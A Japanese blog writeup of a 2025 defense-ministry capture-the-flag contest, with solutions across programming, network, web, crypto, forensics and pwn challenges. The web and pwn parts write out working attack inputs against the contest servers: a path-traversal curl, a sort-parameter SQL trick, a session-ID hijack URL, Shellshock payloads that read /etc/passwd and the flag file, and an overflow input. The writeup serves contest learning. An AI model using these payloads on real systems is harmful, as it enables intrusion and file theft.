日記

日本語の勉強のためのブログ

防衛省サイバーコンテスト2025 writeup

4000点取得し、480人中68位だった。NWとWEを完答できたうえに、目標としていた4000点を(ギリギリ)取得することができて非常に嬉しい。

PG

縮めるだけじゃダメ(100)

添付のExcelファイルからフラグを読み取ってください。
【回答書式】 flag{6桁の半角数字}

添付ファイルを確認するが、flagの中身が見えなくなっている。マクロが含まれていることがわかったため、これをステップイン実行(F8連打)すると、flagが描画された後に、中身が塗りつぶされる処理が走っていた。塗りつぶされる前で実行を止めることでflagを入手できる。

flag{268653}

暗算でもできるけど?(100)

添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。
【回答書式】 flag{n桁の半角数字}

ソースコードにインデントなどを含めたのが以下。

#include <stdio.h>
int main() {
  int i, j, k, l;
  k = (((10 / 2 * 4 / 10 * 4 / 2) + 97) * 10) - 10; // k=1000と同等
  for (i = 2; i <= k; ++i) {
    l = 0;
    for (j = 2; j < i; ++j) {
      if (i % j == 0) {
        l = 1;
        break;
      }
    }
    if (l == 0) printf("%d\r\n", i);
  }
  return 0;
}

実行結果は以下の通り(見やすいようにカンマ区切りに変更している)。

2,3,5,7,11,13,17,19,23,29, ... , 991, 997

この結果とソースコードから推測するに、おそらくkまでの素数をすべて出力するプログラムであると考えられる。 なのでkをある程度大きくし、68番目、314番目の値(素数)を求めればよい。

…と思ったが、n番目の素数なんてググれば出てくることに気づいた。 https://www.mns.kyutech.ac.jp/~hira/sosu/prime/によると、68番目の素数は337、314番目の素数は2083であるから、この和がflagとなる。

flag{2420}

loop in loop(300)

以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。
1.引数として以下の値を指定できる。

  • 第一引数:文字列
  • 第二引数:文字列

2.プログラム内部で引数に以下の処理を加える。

  • それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
  • 第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
  • 続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
  • 同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
  • 続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
  • 同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
  • それぞれの値を加算する。
  • 加算された値を10進数で出力する。

このプログラムに下記の引数を与えた時に出力される値を答えてください。

  • 第一引数:Phoenix
  • 第二引数:Messiah

【回答書式】 flag{n桁の半角数字}

やるだけ(一度言ってみたかった)。
一点注意としては、hashlib.new()で得られたオブジェクトに何度もh.update()を行うと、後続のh.hexdigest()の結果に影響を及ぼしてしまうため、毎回hashlib.new()し直す必要がある。

import hashlib

def is_number(s: str) -> bool:
    try:
        int(s)
        return True
    except ValueError:
        return False

def calc(str1: str, str2: str):
    h = hashlib.new("ripemd160")
    h.update(str1.encode())
    hash1: str = h.hexdigest()

    h = hashlib.new("ripemd160")
    h.update(str2.encode())
    hash2: str = h.hexdigest()

    ans: int = 0
    for c in hash1:
        for d in hash2:
            if is_number(c) and is_number(d):
                ans += int(c) ^ int(d)
    return ans

if __name__ == "__main__":
    print(calc("Phoenix", "Messiah"))

flag{5785}

NE

頭が肝心です(100)

添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。
【回答書式】 flag{IPアドレス}

添付ファイルの内容を一部抜粋する。

Received: from smtp.example.com ([172.30.55.96])
$B!!!!!!!!(Bby rfs.example.com; Thu, 28 Dec 2023 17:47:05 +0900 (JST)
Received: from ex.example.com ([10.231.24.42])
$B!!!!!!!!(Bby smtp.example.com; Thu, 28 Dec 2023 17:45:21 +0900 (JST)
To: user@example.com
Subject: [CTF] Mail From NW
From: sender@example.com
Received: from mx.example.com ([172.16.25.39])
$B!!!!!!!!(Bby ex.example.com; Thu, 28 Dec 2023 17:32:47 +0900 (JST)
Received: from mail.example.com ([192.168.52.21])
$B!!!!!!!!(Bby mx.example.com; Thu, 28 Dec 2023 17:32:38 +0900 (JST)
Received: by mail.example.com (Postfix, from userid 33)
  id DE79A41AF7; Thu, 28 Dec 2023 17:32:24 +0900 (JST)

経路は以下の通り。

(sender@example.com) -> mail.example.com -> mx.example.com -> ex.example.com -> smtp.example.com -> rfs.example.com -> (user@example.com)

というわけで、2番目のメールサーバはmx.example.comである。 ただし、フラグとして提出すべきなのはそのIPアドレス172.16.25.39なので注意。

flag{172.16.25.39}

3 Way Handshake?(200)

添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。
【回答書式】 flag{n1,n2,n3,.....}

192.168.123.103:55944から192.168.123.115に向けてSYNスキャンを行っていることがわかる。また、ログに含まれるパケットはすべてTCPである。

WireSharkのフィルタにtcp.flags.ack == 1 && tcp.flags.syn == 1を設定すれば、オープンポートだけを見つけられる。あとはこれをまとめればよい。

flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

さあ得点は?(200)

添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/
【回答書式】 flag{数値}

いつものように初手で分析 → 追跡 → TCPストリームを選択し、通信内容をざっくり見てみる。

HEAD / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HOST: 192.168.123.116
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,
(以下略)

Rangeから始まる行が非常に長く、これが攻撃に関わっているのは明らかである。 そこでrange: bytes=0 exploitで検索すると、日立のサイトがヒットする。以下引用。

Apache HTTPdサーバ2.x系に、Rangeヘッダ処理に関するサービス不能攻撃を許してしまう脆弱性(CVE-2011-3192)が存在します。Rangeヘッダは、ファイルの分割ダウンロードや、ダウンロード中断・再開などで利用するヘッダで、ダウンロードを範囲指定します。脆弱性は、このRangeヘッダに、カンマ区切りで非常に多くの範囲指定が設定された場合に、Apache HTTPdサーバがサービス不能状態に陥ってしまうというものです。 (引用元:https://www.hitachi.co.jp/hirt/publications/hirt-pub11005/index.html

NISTのホームページでこの脆弱性について確認してみると、Base Score: 7.8 HIGHの記載があった。この数値がflagである。 https://nvd.nist.gov/vuln/detail/CVE-2011-3192

flag{7.8}

decode(300)

添付のパケットファイルからフラグを探してください
【回答書式】 flag{n桁の半角英数記号}

pcapファイルが分割されているが、wiresharkにまとめてドラッグ&ドロップすれば一括で調査できる。

例によってストリームの追跡を行うと、画像ファイルらしきものが送られていることがわかる。 そのうち、tcp.stream eq 12に該当するストリームで送られているデータをbase64から画像にデコードすればflagが得られる。 なおデコードにはhttps://rakko.tools/tools/71/を利用した。

flag{c4ptur3_cat}

WE

簡単には見せません(100)

https://we1-prod.2025winter-cybercontest.net/
【回答書式】 flag{n桁のアルファベット}

「このページにフラグはありません」と書かれたページが用意されている。cookieなどを確認しても手がかりがないので、本当にこのページにはないようだ。 そこでrobots.txtを確認してみる。

https://we1-prod.2025winter-cybercontest.net/robots.txt

User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/

片っ端から見ていった結果、/blue/flgにアクセスすると「このページにフラグがあります」と表示されることがわかった。 当該ページのソースコードを閲覧したところ、コメントアウトされたflagを取得できた。

flag{TakeMeToTheFlag}

試練を乗り越えろ!(100)

下記のURLからフラグを入手してください。
https://we2-prod.2025winter-cybercontest.net/
【回答書式】 flag{n桁のアルファベット}

「今は何問目?」という問題が1万回出題されるページにアクセスできる。 cookieなどに現在何問目かという情報が含まれていると思ったが、そうではなさそう。

ページのソースコードを見ると、回答フォームは以下のように構成されていることがわかる。

<form method="POST">
  <input type="hidden" name="qCount" value="2">
  答え:<input type="text" name="answer" size="6">
  <input type="submit" name="submit" value="送信">
</form>

このqCountvalueを変更すればすぐに1万問解けたことにできそうだ。 試しにvalueを9999に変更してから答え9999を送信すると、10000問目にショートカットすることができた。これを利用してflagをゲットできる。

おめでとうございます!
よく試練に耐えましたね!
あなたは素晴らしい!!
でも最初からやり直してください





というのは冗談です
フラグは下記のとおりです
flag{WinThroughTheGame}

直してる最中なんです(200)

下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。
https://we3-prod.2025winter-cybercontest.net/
フラグが記載されているファイルは下記の通りです。
/etc/WE-3
【回答書式】 flag{25桁の半角英数字}

ページのソースコードより、secret/download.jsの読み込みがコメントアウトされていることがわかる。 secret/download.jsを以下に示す。

function dlFIle(file){
  var dataS = 'fName=' + file;
  var xhr = new XMLHttpRequest();
  xhr.open('POST','/secret/download.php');
  xhr.send(dataS);
  xhr.onload = function() {
    var strS = xhr.responseText;
  };
}

/secret/download.php'fName=' + fileをPOSTしていることがわかる。curlを使って同様のリクエストを送信してみる。

%  curl -X POST -d "fName=WE-3-01.png" https://we3-prod.2025winter-cybercontest.net/secret/download.php
<br />
<b>Warning</b>:  filesize(): stat failed for /var/www/html/secret/WE-3-01.png in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:9) in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:9) in <b>/var/www/html/secret/download.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  readfile(WE-3-01.png): Failed to open stream: No such file or directory in <b>/var/www/html/secret/download.php</b> on line <b>11</b><br />

filesize()に関するWarningが出ているが、これを見るにディレクトリトラバーサルが可能と推測される。実際にやってみるとできた。

%  curl -X POST -d "fName=../../../../../../../etc/WE-3" https://we3-prod.2025winter-cybercontest.net/secret
/download.php
flag{fGrantUB56skBTlmF14mostFP}

直接聞いてみたら?(200)

下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。
https://we4-prod.2025winter-cybercontest.net/
【回答書式】 flag{n桁のアルファベット}

フォームのチェックボックスをチェックし、問い合わせボタンを押すとサーバとの疎通確認がなされ、取得したデータのサイズのみが表示されるというサイト。 問い合わせボタン押下時の処理はsendData()関数で定義されている。

function sendData(){
  var dataS = $('form').serializeArray();
  var dataB = btoa(JSON.stringify(dataS));
  var data = "data=" + dataB

  console.log(data);
  var xhr = new XMLHttpRequest();
  xhr.open('POST','json.php');
  xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
  xhr.send(data);

  xhr.onload = function() {
    if (xhr.status != 200) {
      alert(`失敗 ${xhr.status}: ${xhr.statusText}`);
    } else {
      alert(`成功, 取得データは ${xhr.response.length} bytes`);
    }
  };
}

見ての通りサイズだけでなくデータ自体も返ってきている。そのため、この関数をDevToolなどで以下のように再定義すれば、コンソールに取得データが出力されるようになる。

function sendData(){
  var dataS = $('form').serializeArray();
  var dataB = btoa(JSON.stringify(dataS));
  var data = "data=" + dataB

  console.log(data);
  var xhr = new XMLHttpRequest();
  xhr.open('POST','json.php');
  xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
  xhr.send(data);

  xhr.onload = function() {
    if (xhr.status != 200) {
      alert(`失敗 ${xhr.status}: ${xhr.statusText}`);
    } else {
      alert(`成功, 取得データは ${xhr.response.length} bytes`);
    }
    console.log(xhr.response);
  };
}

そのうえで、フォームのチェックボックスnameflagに変えてやれば、flagについて問い合わせることができる。

例:<input type="checkbox" name="name">

以上、(1)関数の再定義と(2)フォームの書き換え&チェックを行ったうえで、問い合わせボタンを押すとflagが得られる。

flag{ParameterHandlingError}

整列!(300)

旗の下に必要な者だけが正しく並べばいいのです。
https://we5-prod.2025winter-cybercontest.net/
【回答書式】 flag{n桁の英数字}

ページにアクセスしてUpボタンを押すと、URLが/index.php?sort=id+ASCに変わった。 URLに含まれるクエリで昇順・降順に並び替えを行っているようだ。 実際、/index.php?sort=flagSeq+ASCにアクセスすると、flagSeq列を基準に昇順に並び替えを行うことができた。この状態では、各行に1文字ずつflagが出力されている。 しかし、仕様上データは20行までしか表示されず、またflagの表示が始まるのはflagSeq=11から(それまではflagの各文字ではなくXが表示される)なので、単なる並び替えだけではflagの全体を知ることはできない。

それにしてもこのクエリ、sort=id ASCという形式になっているが、これはSQL文におけるORDER BY id ASCを彷彿とさせる。 もしASCの後ろにData <> Xといった制約を追加できるならいいのだが、ORDER BYの後に続く句はなさそう。

ここでORDER BY FIELD()という書き方ができることを知る。簡単に言えば、これを用いると任意の順番で並び替えが可能になる。 https://atsuizo.hatenadiary.jp/entry/2016/07/27/150000

上述したサイトの説明に沿って、flagSeqが11~50の値を表示させることで、flagが得られる。具体的には以下にアクセスすることで入手できる(20文字制限のためURLを後半前半の2つに分けている)。

https://we5-prod.2025winter-cybercontest.net/index.php?sort=FIELD(flagSeq,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11)DESC https://we5-prod.2025winter-cybercontest.net/index.php?sort=FIELD(flagSeq,50,49,48,47,46,45,44,43,42,41,40,39,38,37,36,35,34,33,32,31)DESC

flag{6f24d2267d87b7b232ed0d6ed3ad2924}

CY

エンコード方法は一つじゃない(100)

以下の文字列をデコードしてFlagを答えてください。
%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62
【回答書式】 flag{n桁のアルファベット}

パーセントエンコードされているのでデコードする。

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

  • 最初の部分は数値文字参照UcanB}
  • 中間部分はBase64VariousEncodings
  • 後半はasciiコード。 flag{

flag{VariousEncodingsUcanB}

File Integrity of Long Hash(100)

添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。
189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf
【回答書式】 flag{22文字の半角英数字}

zipファイルを解凍するとflags_10.txtflags_99.txtというファイルが得られる。 提示されたハッシュ値は128文字、つまり512ビットであるから、sha-512であると推測。 そのうえですべてのファイルflags_n.txtのsha-512ハッシュ値を生成し、提示されたハッシュ値と照合するsolverを作成した。

import hashlib

DESIRED_HASH = "189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf"

def get_filehash(filename):
    with open(filename, "rb") as f:
        return hashlib.sha512(f.read()).hexdigest()

if __name__ == "__main__":
    for i in range(10, 99):
        filename = f"flags_{i}.txt"
        if get_filehash(filename) == DESIRED_HASH:
            print(f"Found flag: {filename}")
            break

これを実行するとflags_89.txtにflagがあることがわかる。

flag{346D895B8FF3892191A645}

Equation of ECC(200)

楕円曲線のパラメータは以下の通りとします。
a=56,b=58,p=127
基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。
公開鍵(53,30)
【回答書式】 flag{半角数字}

まず前提知識として、楕円曲線のパラメータというのは以下の式におけるa, b, pを指す。
$y2 = x3 + ax + b mod p$

つまり、与えられたパラメータより、今回扱う曲線は、$y2 = x3 + 56x + 58 mod 127$となる。

こうした曲線に対してsagemathのdiscrete_log()関数を用いることで離散対数問題を解き、秘密鍵を入手している例を見つけたので、これに沿って以下のスクリプトを実行したところ答えが得られた。 https://blog.y011d4.com/20210713-redpwnctf-writeup#blecc

p = 127
a = 56
b = 58
G = (42,67)
Q = (53,30)

EC = EllipticCurve(GF(p), [a, b])
G = EC(G)
Q = EC(Q)
d = G.discrete_log(Q)
print(d)

flag{16}

※なお、実行にはWeb上の実行環境(https://sagecell.sagemath.org)を用いた

FR

露出禁止!(100)

添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。
https://fr1-prod.2025winter-cybercontest.net/
【回答書式】 flag{n桁のアルファベット}

セッションハイジャック攻撃が可能。ログに残っている全セッションIDをbase64でデコードするとadminのIDが見つかるので、それを用いてhttps://fr1-prod.2025winter-cybercontest.net/mypage.php?sesid=MTczODYzMDE2OCwxLGFkbWluCg==にアクセスすればflagが得られる。

flag{SessionIDsCarefully}

成功の証(200)

フラグは攻撃者が見つけ出した「パスワード」とします。
【回答書式】 flag{パスワード}

添付のpcapファイルをwiresharkで解析する。 分析 → 追跡 → TCPストリームを選択し、全ストリームからログインに成功したケースを探した。 すると188番目のストリーム(tcp.stream eq 188)にログイン成功時のログが残っていた。

220 (vsFTPd 3.0.3)
USER agita
331 Please specify the password.
PASS wwwww
530 Login incorrect.
USER agita
331 Please specify the password.
PASS yyyyyyyy
530 Login incorrect.
USER agita
331 Please specify the password.
PASS zyyzzyzy
230 Login successful.

flag{zyyzzyzy}

chemistry(300)

添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。
複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。
【回答書式】 flag{数値,数値,.....}

添付のバイナリを解析すると、引数それぞれに対してcurl https://fr4.2025winter-cybercontest.net/chemistry?flagSeed={引数}という処理が内部で走っていることがわかる。 flagSeedを1, 2, 3, ...と変えて実行してみると、H, HE, LI, ...と表示されることから、おそらく引数に該当する番号の元素記号が出力されているのだろうと推測できる。 つまり、周期表に載っている元素記号の組み合わせで、目的の文章を作ればよい。具体的には、

FL/AG/ /I/ /AM/ /LU/C/K/Y
114,47,0,53,0,95,0,71,6,19,39

これで所望の引数がすべてわかった。実際に渡してみる。

%  ./FR-4 114,47,0,53,0,95,0,71,6,19,39
FLAG I AM LUCKY

目的の文が出力されたことから、引数はこれで正しいとわかる。

flag{114,47,0,53,0,95,0,71,6,19,39}

PW

CVE-2014-7169他(100)

アクセスログから脆弱性を特定しフラグファイル内のフラグを見つけ出してください。 フラグファイルは下記の通りです。
/etc/PW-1
https://pw1-prod.2025winter-cybercontest.net/
【回答書式】 flag{n桁の半角英数記号}

アクセスログを確認すると、ほとんどのリクエストに404が返っているなかで、1つだけ200が返っていることがわかる。

192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"

/cgi-bin/n.cgiを確認すると、shellshockableと書かれている。問題名にもある通り、このcgiに対してshellshock脆弱性を突く攻撃を行えばflagが得られると推測される。 とりあえずログにあったコマンドで試してみる。

%  curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
(以下略)

うまく/etc/passwdを出力することができた。 これを利用し、以下を実行すればflagが得られる。

%  curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi
flag{>:(!shellshock!}

overmeow(200)

ファイルを用意したので、解析してもらえませんか。
nc pw4-prod.2025winter-cybercontest.net 30001
【回答書式】 flag{n桁の半角英数記号}

単純なバッファオーバーフロー問題である。入力として想定以上に長い文章を渡し、その後に続く番地の値を書き換えてやればよい。

%  nc pw4-prod.2025winter-cybercontest.net 30001
 ∧,,∧
(=・ω・)meow
(,, uu)

What's the cat's say?
wodmwodmwodmwodmwodmwodmwodm
Yes, I'll give you a flag.
flag{I_will_Golondon}

Windowsで解きましょう(200)

下記のファイルを実行すると「flags」というフォルダが作成され、複数のファイルが生成されます。 すべてのファイルに違うフラグが書かれています。 その中のファイルの一つには印がつけてあります。正解のフラグを探してください
【回答書式】 flag{22桁の半角数字}

添付のbatスクリプトを以下に示す。flags_n.txtnFDATA4=25のときにTrueFlagと判定されているから、単純にflags_25.txtの中身が答えである。

@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal

flag{7525252364612534937244}

排他的論理和(300)

まずは排他的論理和を計算するスクリプトを書いた。

import sys


def main(filename):
    with open("./compare", "rb") as f:
        compare = f.readline()

    with open(filename, "rb") as f:
        pattern = f.readline()

    xored = [chr(c ^ d) for c, d in zip(compare, pattern)]
    print(xored)


if __name__ == "__main__":
    main(sys.argv[1])

これを実行してみると、以下の通りpattern3とのXORでflagが出現していることがわかる。しかし内容が読めない。

%  python3 xor.py pattern1
['f', 'i', 'n', 'd', '1', '\x05', '\x1b', '?', '4', '/']

%  python3 xor.py pattern2
['c', 'i', 'B', 'd', '*', '\x16', 'z', '\x95', 'S', 'Q']

%  python3 xor.py pattern3
['f', 'l', 'a', 'g', '{', '¬', '\x1d', 'ï', 'ý', '}']

そこで、先ほどのスクリプトchr(c^d)を、直接c^dの数値を出力するように修正して再実行した。

%  python3 xor.py pattern3
[102, 108, 97, 103, 123, 172, 29, 239, 253, 125]

これでIPアドレスがわかったため、完全なflagを入手することができた。

flag{172.29.239.253}